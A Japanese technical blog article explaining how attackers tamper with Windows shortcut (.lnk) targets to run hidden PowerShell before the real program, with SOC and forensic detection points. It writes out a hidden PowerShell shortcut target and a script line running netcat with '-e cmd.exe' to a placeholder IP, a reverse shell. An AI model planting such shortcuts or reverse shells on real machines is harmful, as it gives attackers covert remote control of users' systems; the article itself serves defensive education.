はじめに
Windows環境では、実行ファイルを直接改変しなくても ショートカット(.lnk)を悪用することで不正処理を実行させる手口があります。
ユーザーから見ると
- アプリは普通に起動する
- アイコンも変わらない
- 動作も正常に見える
しかし内部では別の処理が実行されている可能性があります。
本記事では ショートカット改ざんの仕組みと、PowerShell + Netcat を例にした挙動の解説、Blue Teamの検知ポイントを整理します。
1. ショートカット(.lnk)とは
.lnk は Windows のショートカットファイルです。
例えばデスクトップの電卓アイコンは、通常次の実行ファイルを指しています。
C:\Windows\System32\calc.exe
ユーザーがクリックすると
explorer.exe
↓
calc.exe
という流れで電卓が起動します。
2. ショートカット改ざんの考え方
攻撃者はショートカットの Target(リンク先) を変更します。
例えば次のように変更されることがあります。
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
この場合
explorer.exe
↓
powershell.exe
↓
スクリプト実行
↓
calc.exe
という流れになります。
ユーザーから見ると
電卓が普通に起動
するため気付きにくいです。
3. PowerShellスクリプトの例
ショートカットが呼び出す PowerShell スクリプトの例です。
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe TARGET_IP 4445"
C:\Windows\System32\calc.exe
このスクリプトの処理は次の通りです。
① nc64.exe を実行
② 外部IPへ接続
③ cmd.exe を実行
④ calc.exe を起動
つまり
裏で通信
↓
その後電卓起動
という挙動になります。
4. nc64.exeとは?
nc64.exe は Netcat の Windows 64bit版です。
Netcatは非常に有名なネットワークツールで
「ネットワークのスイスアーミーナイフ」
と呼ばれています。
理由は
- TCP通信
- UDP通信
- ポートスキャン
- データ転送
- 簡易サーバ
- 接続テスト
などを1つのツールで実行できるためです。
Netcatの基本構文
接続
nc IP PORT
例
nc TARGET_IP 4444
待ち受け
nc -lvp 4444
意味
-l listen
-v verbose
-p port
5. -e オプションの意味
今回の例では次のオプションが使われています。
-e cmd.exe
意味
cmd.exe の入出力を
ネットワーク接続へ送る
つまり
cmd.exe
↓
ネットワーク
↓
遠隔操作
という形になります。
6. PowerShellコマンドの意味
この部分
Start-Process -NoNewWindow
は
新しいウィンドウを作らずに実行
という意味です。
つまりユーザー画面には
黒いウィンドウが出ない
可能性があります。
7.ユーザー視点の挙動
ユーザーから見ると
電卓をクリック
↓
電卓が開く
だけです。
しかし内部では
クリック
↓
PowerShell
↓
nc64.exe
↓
外部通信
↓
calc.exe
が実行されています。
8. Blue Teamの検知ポイント
SOC / EDRでは次の挙動をチェックします。
不自然なプロセスチェーン
通常
explorer.exe
↓
calc.exe
改ざん
explorer.exe
↓
powershell.exe
↓
nc64.exe
↓
calc.exe
LOLBins の使用
注意すべきツール
powershell.exe
cmd.exe
wscript.exe
cscript.exe
mshta.exe
不審なネットワーク通信
外部IP
不明ポート
.lnkファイルの確認
確認場所
右クリック
→ プロパティ
→ Target
チェックポイント
PowerShell
cmd
スクリプト
などが含まれていないか確認します。
9. フォレンジック調査ポイント
インシデント調査では次を確認します。
ショートカット
Desktop
Start Menu
Startup
不審プロセス
powershell.exe
nc.exe
nc64.exe
ncat.exe
ログ
- PowerShell Operational Log
- Sysmon Event ID 1
- EDR process tree
まとめ
ショートカット改ざんは非常にシンプルですが、実用的な手法です。
理由は
- ユーザーが自然にクリックする
- 見た目は正常
- 実行ファイルを改変しない
ためです。
Blue Teamでは
プロセスチェーン
ショートカットのTarget
不審通信
を重点的に監視することで検知可能です。